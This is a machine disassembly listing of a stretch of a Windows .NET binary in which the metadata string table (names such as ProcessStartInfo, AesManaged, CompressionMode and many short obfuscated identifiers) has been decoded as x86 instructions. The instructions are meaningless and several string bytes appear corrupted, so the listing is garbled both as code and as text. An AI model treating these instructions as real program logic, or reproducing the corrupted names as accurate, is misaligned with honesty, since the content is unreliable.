40c90b:	00 45 64             	add    %al,0x64(%ebp)
40c90e:	69 74 6f 72 52 72 6f 	imul   $0x776f7252,0x72(%edi,%ebp,2),%esi
40c915:	77
40c916:	73 61                	jae    0x40c979
40c918:	62 6c 65 53          	bound  %ebp,0x53(%ebp,%eiz,2)
40c91c:	74 71                	je     0x40c98f
40c91e:	74 65                	je     0x40c985
40c920:	00 53 79             	add    %dl,0x79(%ebx)
40c923:	73 74                	jae    0x40c999
40c925:	65 6d                	gs insl (%dx),%es:(%edi)
40c927:	2e 53                	cs push %ebx
40c929:	6f                   	outsl  %ds:(%esi),(%dx)
40c92a:	6d                   	insl   (%dx),%es:(%edi)
40c92b:	70 6f                	jo     0x40c99c
40c92d:	6e                   	outsb  %ds:(%esi),(%dx)
40c92e:	65 6e                	outsb  %gs:(%esi),(%dx)
40c930:	74 4d                	je     0x40c97f
40c932:	6f                   	outsl  %ds:(%esi),(%dx)
40c933:	74 65                	je     0x40c99a
40c935:	6c                   	insb   (%dx),%es:(%edi)
40c936:	00 45 64             	add    %al,0x64(%ebp)
40c939:	69 74 6f 72 42 82 6f 	imul   $0x776f8242,0x72(%edi,%ebp,2),%esi
40c940:	77
40c941:	73 61                	jae    0x40c9a4
40c943:	62 6c 65 41          	bound  %ebp,0x41(%ebp,%eiz,2)
40c947:	74 74                	je     0x40c9bd
40c949:	82 69 62 75          	subb   $0x75,0x62(%ecx)
40c94d:	74 65                	je     0x40c9b4
40c94f:	00 50 72             	add    %dl,0x72(%eax)
40c952:	6f                   	outsl  %ds:(%esi),(%dx)
40c953:	63 75 73             	arpl   %esi,0x73(%ebp)
40c956:	73 4d                	jae    0x40c9a5
40c958:	6f                   	outsl  %ds:(%esi),(%dx)
40c959:	64 75 6c             	fs jne 0x40c9c8
40c95c:	65 00 50 82          	add    %dl,%gs:-0x7e(%eax)
40c960:	6f                   	outsl  %ds:(%esi),(%dx)
40c961:	63 65 73             	arpl   %esp,0x73(%ebp)
40c964:	73 00                	jae    0x40c966
40c966:	50                   	push   %eax
40c967:	72 6f                	jb     0x40c9d8
40c969:	63 75 73             	arpl   %esi,0x73(%ebp)
40c96c:	73 53                	jae    0x40c9c1
40c96e:	74 61                	je     0x40c9d1
40c970:	72 74                	jb     0x40c9e6
40c972:	49                   	dec    %ecx
40c973:	6e                   	outsb  %ds:(%esi),(%dx)
40c974:	66 7f 00             	data16 jg 0x40c977
40c977:	41                   	inc    %ecx
40c978:	70 70                	jo     0x40c9ea
40c97a:	6c                   	insb   (%dx),%es:(%edi)
40c97b:	69 63 61 74 69 7f 6e 	imul   $0x6e7f6974,0x61(%ebx),%esp
40c982:	53                   	push   %ebx
40c983:	65 74 74             	gs je  0x40c9fa
40c986:	69 6e 67 73 42 71 73 	imul   $0x73714273,0x67(%esi),%ebp
40c98d:	65 00 53 79          	add    %dl,%gs:0x79(%ebx)
40c991:	73 74                	jae    0x40ca07
40c993:	65 6d                	gs insl (%dx),%es:(%edi)
40c995:	2e 53                	cs push %ebx
40c997:	6f                   	outsl  %ds:(%esi),(%dx)
40c998:	6e                   	outsb  %ds:(%esi),(%dx)
40c999:	66 69 67 75 72 61    	imul   $0x6172,0x75(%edi),%sp
40c99f:	74 69                	je     0x40ca0a
40c9a1:	7f 6e                	jg     0x40ca11
40c9a3:	00 55 72             	add    %dl,0x72(%ebp)
40c9a6:	69 4b 69 6e 64 00 54 	imul   $0x5400646e,0x69(%ebx),%ecx
40c9ad:	65 66 6c             	gs data16 insb (%dx),%es:(%edi)
40c9b0:	61                   	popa
40c9b1:	74 65                	je     0x40ca18
40c9b3:	53                   	push   %ebx
40c9b4:	74 72                	je     0x40ca28
40c9b6:	65 71 6d             	gs jno 0x40ca26
40c9b9:	00 53 79             	add    %dl,0x79(%ebx)
40c9bc:	73 74                	jae    0x40ca32
40c9be:	65 6d                	gs insl (%dx),%es:(%edi)
40c9c0:	2e 49                	cs dec %ecx
40c9c2:	5f                   	pop    %edi
40c9c3:	2e 43                	cs inc %ebx
40c9c5:	6f                   	outsl  %ds:(%esi),(%dx)
40c9c6:	6d                   	insl   (%dx),%es:(%edi)
40c9c7:	70 72                	jo     0x40ca3b
40c9c9:	65 73 73             	gs jae 0x40ca3f
40c9cc:	69 7f 6e 00 43 6f 6d 	imul   $0x6d6f4300,0x6e(%edi),%edi
40c9d3:	70 72                	jo     0x40ca47
40c9d5:	65 73 73             	gs jae 0x40ca4b
40c9d8:	79 6f                	jns    0x40ca49
40c9da:	6e                   	outsb  %ds:(%esi),(%dx)
40c9db:	4d                   	dec    %ebp
40c9dc:	6f                   	outsl  %ds:(%esi),(%dx)
40c9dd:	64 65 00 53 65       	fs add %dl,%gs:0x65(%ebx)
40c9e2:	74 84                	je     0x40c968
40c9e4:	69 6e 67 73 42 61 73 	imul   $0x73614273,0x67(%esi),%ebp
40c9eb:	65 00 42 79          	add    %al,%gs:0x79(%edx)
40c9ef:	67 49                	addr16 dec %ecx
40c9f1:	6e                   	outsb  %ds:(%esi),(%dx)
40c9f2:	74 65                	je     0x40ca59
40c9f4:	67 65 72 00          	addr16 gs jb 0x40c9f8
40c9f8:	53                   	push   %ebx
40c9f9:	89 73 74             	mov    %esi,0x74(%ebx)
40c9fc:	65 6d                	gs insl (%dx),%es:(%edi)
40c9fe:	2e 4e                	cs dec %esi
40ca00:	75 6d                	jne    0x40ca6f
40ca02:	65 72 79             	gs jb  0x40ca7e
40ca05:	63 73 00             	arpl   %esi,0x0(%ebx)
40ca08:	41                   	inc    %ecx
40ca09:	65 73 4d             	gs jae 0x40ca59
40ca0c:	61                   	popa
40ca0d:	6e                   	outsb  %ds:(%esi),(%dx)
40ca0e:	61                   	popa
40ca0f:	77 65                	ja     0x40ca76
40ca11:	64 00 45 6e          	add    %al,%fs:0x6e(%ebp)
40ca15:	75 6d                	jne    0x40ca84
40ca17:	65 72 61             	gs jb  0x40ca7b
40ca1a:	72 6c                	jb     0x40ca88
40ca1c:	65 00 53 79          	add    %dl,%gs:0x79(%ebx)
40ca20:	73 74                	jae    0x40ca96
40ca22:	65 6d                	gs insl (%dx),%es:(%edi)
40ca24:	2e 5c                	cs pop %esp
40ca26:	69 6e 71 00 53 79 73 	imul   $0x73795300,0x71(%esi),%ebp
40ca2d:	74 65                	je     0x40ca94
40ca2f:	6d                   	insl   (%dx),%es:(%edi)
40ca30:	3e 57                	ds push %edi
40ca32:	69 6e 64 6f 77 73 2e 	imul   $0x2e73776f,0x64(%esi),%ebp
40ca39:	46                   	inc    %esi
40ca3a:	6f                   	outsl  %ds:(%esi),(%dx)
40ca3b:	82 6d 73 00          	subb   $0x0,0x73(%ebp)
40ca3f:	44                   	inc    %esp
40ca40:	69 61 6c 6f 67 52 75 	imul   $0x7552676f,0x6c(%ecx),%esp
40ca47:	73 75                	jae    0x40cabe
40ca49:	6c                   	insb   (%dx),%es:(%edi)
40ca4a:	74 00                	je     0x40ca4c
40ca4c:	4d                   	dec    %ebp
40ca4d:	65 73 73             	gs jae 0x40cac3
40ca50:	61                   	popa
40ca51:	77 65                	ja     0x40cab8
40ca53:	42                   	inc    %edx
40ca54:	6f                   	outsl  %ds:(%esi),(%dx)
40ca55:	78 42                	js     0x40ca99
40ca57:	75 74                	jne    0x40cacd
40ca59:	74 6f                	je     0x40caca
40ca5b:	6e                   	outsb  %ds:(%esi),(%dx)
40ca5c:	83 00 4d             	addl   $0x4d,(%eax)
40ca5f:	65 73 73             	gs jae 0x40cad5
40ca62:	61                   	popa
40ca63:	67 65 42             	addr16 gs inc %edx
40ca66:	6f                   	outsl  %ds:(%esi),(%dx)
40ca67:	88 49 63             	mov    %cl,0x63(%ecx)
40ca6a:	6f                   	outsl  %ds:(%esi),(%dx)
40ca6b:	6e                   	outsb  %ds:(%esi),(%dx)
40ca6c:	00 54 6f 6f          	add    %dl,0x6f(%edi,%ebp,2)
40ca70:	6c                   	insb   (%dx),%es:(%edi)
40ca71:	4c                   	dec    %esp
40ca72:	7f 63                	jg     0x40cad7
40ca74:	61                   	popa
40ca75:	74 69                	je     0x40cae0
40ca77:	6f                   	outsl  %ds:(%esi),(%dx)
40ca78:	6e                   	outsb  %ds:(%esi),(%dx)
40ca79:	48                   	dec    %eax
40ca7a:	65 6c                	gs insb (%dx),%es:(%edi)
40ca7c:	70 75                	jo     0x40caf3
40ca7e:	72 00                	jb     0x40ca80
40ca80:	4d                   	dec    %ebp
40ca81:	69 63 72 6f 73 6f 66 	imul   $0x666f736f,0x72(%ebx),%esp
40ca88:	84 2e                	test   %ch,(%esi)
40ca8a:	42                   	inc    %edx
40ca8b:	75 69                	jne    0x40caf6
40ca8d:	6c                   	insb   (%dx),%es:(%edi)
40ca8e:	64 2e 55             	fs cs push %ebp
40ca91:	74 69                	je     0x40cafc
40ca93:	7c 69                	jl     0x40cafe
40ca95:	74 69                	je     0x40cb00
40ca97:	65 73 00             	gs jae 0x40ca9a
40ca9a:	54                   	push   %esp
40ca9b:	61                   	popa
40ca9c:	72 67                	jb     0x40cb05
40ca9e:	75 74                	jne    0x40cb14
40caa0:	44                   	inc    %esp
40caa1:	6f                   	outsl  %ds:(%esi),(%dx)
40caa2:	74 4e                	je     0x40caf2
40caa4:	65 74 46             	gs je  0x40caed
40caa7:	72 61                	jb     0x40cb0a
40caa9:	7d 65                	jge    0x40cb10
40caab:	77 6f                	ja     0x40cb1c
40caad:	72 6b                	jb     0x40cb1a
40caaf:	56                   	push   %esi
40cab0:	65 72 73             	gs jb  0x40cb26
40cab3:	69 7f 6e 00 3c 4d 6f 	imul   $0x6f4d3c00,0x6e(%edi),%edi
40caba:	64 75 6c             	fs jne 0x40cb29
40cabd:	65 3e 10 6f 52       	gs adc %ch,%ds:0x52(%edi)
40cac2:	4d                   	dec    %ebp
40cac3:	3d 00 6f 68 4d       	cmp    $0x4d686f00,%eax
40cac8:	3d 00 51 64 64       	cmp    $0x64645100,%eax
40cacd:	6f                   	outsl  %ds:(%esi),(%dx)
40cace:	6e                   	outsb  %ds:(%esi),(%dx)
40cacf:	73 00                	jae    0x40cad1
40cad1:	74 72                	je     0x40cb45
40cad3:	62 69 7c             	bound  %ebp,0x7c(%ecx)
40cad6:	65 00 72 52          	add    %dh,%gs:0x52(%edx)
40cada:	4d                   	dec    %ebp
40cadb:	3d 00 72 78 4d       	cmp    $0x4d787200,%eax
40cae0:	4d                   	dec    %ebp
40cae1:	00 73 52             	add    %dh,0x52(%ebx)
40cae4:	4d                   	dec    %ebp
40cae5:	3d 00 77 78 4d       	cmp    $0x4d787700,%eax
40caea:	3d 10 78 52 4d       	cmp    $0x4d527810,%eax
40caef:	3d 00 78 78 4d       	cmp    $0x4d787800,%eax
40caf4:	3d 00 89 52 4d       	cmp    $0x4d528900,%eax
40caf9:	3d 00 47 65 74       	cmp    $0x74654700,%eax
40cafe:	70 72                	jo     0x40cb72
40cb00:	6f                   	outsl  %ds:(%esi),(%dx)
40cb01:	73 63                	jae    0x40cb66
40cb03:	72 65                	jb     0x40cb6a
40cb05:	61                   	popa
40cb06:	74 69                	je     0x40cb71
40cb08:	6f                   	outsl  %ds:(%esi),(%dx)
40cb09:	6e                   	outsb  %ds:(%esi),(%dx)
40cb0a:	00 48 75             	add    %cl,0x75(%eax)
40cb0d:	6c                   	insb   (%dx),%es:(%edi)
40cb0e:	70 65                	jo     0x40cb75
40cb10:	72 00                	jb     0x40cb12
40cb12:	32 78 4d             	xor    0x4d(%eax),%bh
40cb15:	3d 00 60 72 6f       	cmp    $0x6f726000,%eax
40cb1a:	67 72 61             	addr16 jb 0x40cb7e
40cb1d:	6d                   	insl   (%dx),%es:(%edi)
40cb1e:	00 33                	add    %dh,(%ebx)
40cb20:	68 4d 4d 00 35       	push   $0x35004d4d
40cb25:	68 4d 3d 00 52       	push   $0x52003d4d
40cb2a:	75 6e                	jne    0x40cb9a
40cb2c:	50                   	push   %eax
40cb2d:	75 00                	jne    0x40cb2f
40cb2f:	36 52                	ss push %edx
40cb31:	4d                   	dec    %ebp
40cb32:	3d 00 36 68 4d       	cmp    $0x4d683600,%eax
40cb37:	3d 10 37 42 4d       	cmp    $0x4d423710,%eax
40cb3c:	3d 00 37 78 4d       	cmp    $0x4d783700,%eax
40cb41:	3d 00 48 52 4d       	cmp    $0x4d524800,%eax
40cb46:	3d 00 38 68 4d       	cmp    $0x4d683800,%eax
40cb4b:	3d 00 39 78 4d       	cmp    $0x4d783900,%eax
40cb50:	3d 00 39 78 4d       	cmp    $0x4d783900,%eax
40cb55:	3d 00 53 65 84       	cmp    $0x84655300,%eax
40cb5a:	74 69                	je     0x40cbc5
40cb5c:	6e                   	outsb  %ds:(%esi),(%dx)
40cb5d:	67 73 00             	addr16 jae 0x40cb60
40cb60:	74 72                	je     0x40cbd4
40cb62:	62 69 7c             	bound  %ebp,0x7c(%ecx)
40cb65:	65 2e 50             	gs cs push %eax
40cb68:	72 6f                	jb     0x40cbd9
40cb6a:	70 65                	jo     0x40cbd1
40cb6c:	72 74                	jb     0x40cbe2
40cb6e:	69 75 73 00 3c 50 72 	imul   $0x72503c00,0x73(%ebp),%esi
40cb75:	69 76 61 74 65 59 6d 	imul   $0x6d596574,0x61(%esi),%esi
40cb7c:	70 6c                	jo     0x40cbea
40cb7e:	65 6d                	gs insl (%dx),%es:(%edi)
40cb80:	65 6e                	outsb  %gs:(%esi),(%dx)
40cb82:	74 61                	je     0x40cbe5
40cb84:	74 79                	je     0x40cbff
40cb86:	6f                   	outsl  %ds:(%esi),(%dx)
40cb87:	6e                   	outsb  %ds:(%esi),(%dx)
40cb88:	44                   	inc    %esp
40cb89:	65 74 61             	gs je  0x40cbed
40cb8c:	69 6c 73 3e 10 3c 3e 	imul   $0x633e3c10,0x3e(%ebx,%esi,2),%ebp
40cb93:	63
40cb94:	00 50 52             	add    %dl,0x52(%eax)
40cb97:	4f                   	dec    %edi
40cb98:	43                   	inc    %ebx
40cb99:	45                   	inc    %ebp
40cb9a:	53                   	push   %ebx
40cb9b:	63 5f 49             	arpl   %ebx,0x49(%edi)
40cb9e:	4e                   	dec    %esi
40cb9f:	46                   	inc    %esi
40cba0:	4f                   	dec    %edi
40cba1:	52                   	push   %edx
40cba2:	4d                   	dec    %ebp
40cba3:	41                   	inc    %ecx
40cba4:	54                   	push   %esp
40cba5:	49                   	dec    %ecx
40cba6:	5f                   	pop    %edi
40cba7:	4e                   	dec    %esi
40cba8:	00 53 54             	add    %dl,0x54(%ebx)
40cbab:	41                   	inc    %ecx
40cbac:	52                   	push   %edx
40cbad:	54                   	push   %esp
40cbae:	55                   	push   %ebp
40cbaf:	50                   	push   %eax
40cbb0:	5f                   	pop    %edi
40cbb1:	59                   	pop    %ecx
40cbb2:	4e                   	dec    %esi
40cbb3:	46                   	inc    %esi
40cbb4:	4f                   	dec    %edi
40cbb5:	52                   	push   %edx
40cbb6:	4d                   	dec    %ebp
40cbb7:	41                   	inc    %ecx
40cbb8:	54                   	push   %esp
40cbb9:	49                   	dec    %ecx
40cbba:	4f                   	dec    %edi
40cbbb:	4e                   	dec    %esi
40cbbc:	10 3c 3e             	adc    %bh,(%esi,%edi,1)
40cbbf:	63 5f 5f             	arpl   %ebx,0x5f(%edi)
40cbc2:	44                   	inc    %esp
40cbc3:	69 73 70 6c 71 79 43 	imul   $0x4379716c,0x70(%ebx),%esi
40cbca:	6c                   	insb   (%dx),%es:(%edi)
40cbcb:	61                   	popa
40cbcc:	73 73                	jae    0x40cc41
40cbce:	33 5f 30             	xor    0x30(%edi),%ebx
40cbd1:	00 52 42             	add    %dl,0x42(%edx)
40cbd4:	51                   	push   %ecx
40cbd5:	3d 00 42 52 51       	cmp    $0x51524200,%eax
40cbda:	3d 00 42 78 51       	cmp    $0x51784200,%eax
40cbdf:	3d 00 3c 41 67       	cmp    $0x67413c00,%eax
40cbe4:	69 6c 65 44 7f 74 4e 	imul   $0x654e747f,0x44(%ebp,%eiz,2),%ebp
40cbeb:	65
40cbec:	74 52                	je     0x40cc40
40cbee:	54                   	push   %esp
40cbef:	3e 00 6f 78          	add    %ch,%ds:0x78(%edi)
40cbf3:	5d                   	pop    %ebp
40cbf4:	3d 00 70 68 4d       	cmp    $0x4d687000,%eax
40cbf9:	3d 00 70 78 4d       	cmp    $0x4d787000,%eax
40cbfe:	4d                   	dec    %ebp
40cbff:	00 73 68             	add    %dh,0x68(%ebx)
40cc02:	4d                   	dec    %ebp
40cc03:	3d 00 73 78 4d       	cmp    $0x4d787300,%eax
40cc08:	3d 10 74 42 4d       	cmp    $0x4d427410,%eax
40cc0d:	3d 00 74 52 4d       	cmp    $0x4d527400,%eax
40cc12:	3d 00 84 68 4d       	cmp    $0x4d688400,%eax
40cc17:	3d 00 74 78 4d       	cmp    $0x4d787400,%eax
40cc1c:	3d 00 79 78 4d       	cmp    $0x4d787900,%eax
40cc21:	3d 00 79 78 4d       	cmp    $0x4d787900,%eax
40cc26:	3d 00 7a 42 5d       	cmp    $0x5d427a00,%eax
40cc2b:	3d 00 7a 52 4d       	cmp    $0x4d527a00,%eax
40cc30:	3d 00 7a 68 4d       	cmp    $0x4d687a00,%eax
40cc35:	4d                   	dec    %ebp
40cc36:	00 7a 78             	add    %bh,0x78(%edx)
40cc39:	4d                   	dec    %ebp
40cc3a:	3d 00 30 42 4d       	cmp    $0x4d423000,%eax
40cc3f:	3d 10 30 52 4d       	cmp    $0x4d523010,%eax
40cc44:	3d 00 33 42 4d       	cmp    $0x4d423300,%eax
40cc49:	3d 00 86 61 6c       	cmp    $0x6c618600,%eax
40cc4e:	75 65                	jne    0x40ccb5
40cc50:	5f                   	pop    %edi
40cc51:	5f                   	pop    %edi
40cc52:	00 33                	add    %dh,(%ebx)
40cc54:	78 4d                	js     0x40cca3
40cc56:	4d                   	dec    %ebp
40cc57:	00 34 42             	add    %dh,(%edx,%eax,2)
40cc5a:	4d                   	dec    %ebp
40cc5b:	3d 00 34 52 4d       	cmp    $0x4d523400,%eax
40cc60:	3d 10 34 68 4d       	cmp    $0x4d683410,%eax
40cc65:	3d 00 34 78 4d       	cmp    $0x4d783400,%eax
40cc6a:	3d 00 45 42 4d       	cmp    $0x4d424500,%eax
40cc6f:	3d 00 35 52 4d       	cmp    $0x4d523500,%eax
40cc74:	3d 00 2f 52 4d       	cmp    $0x4d522f00,%eax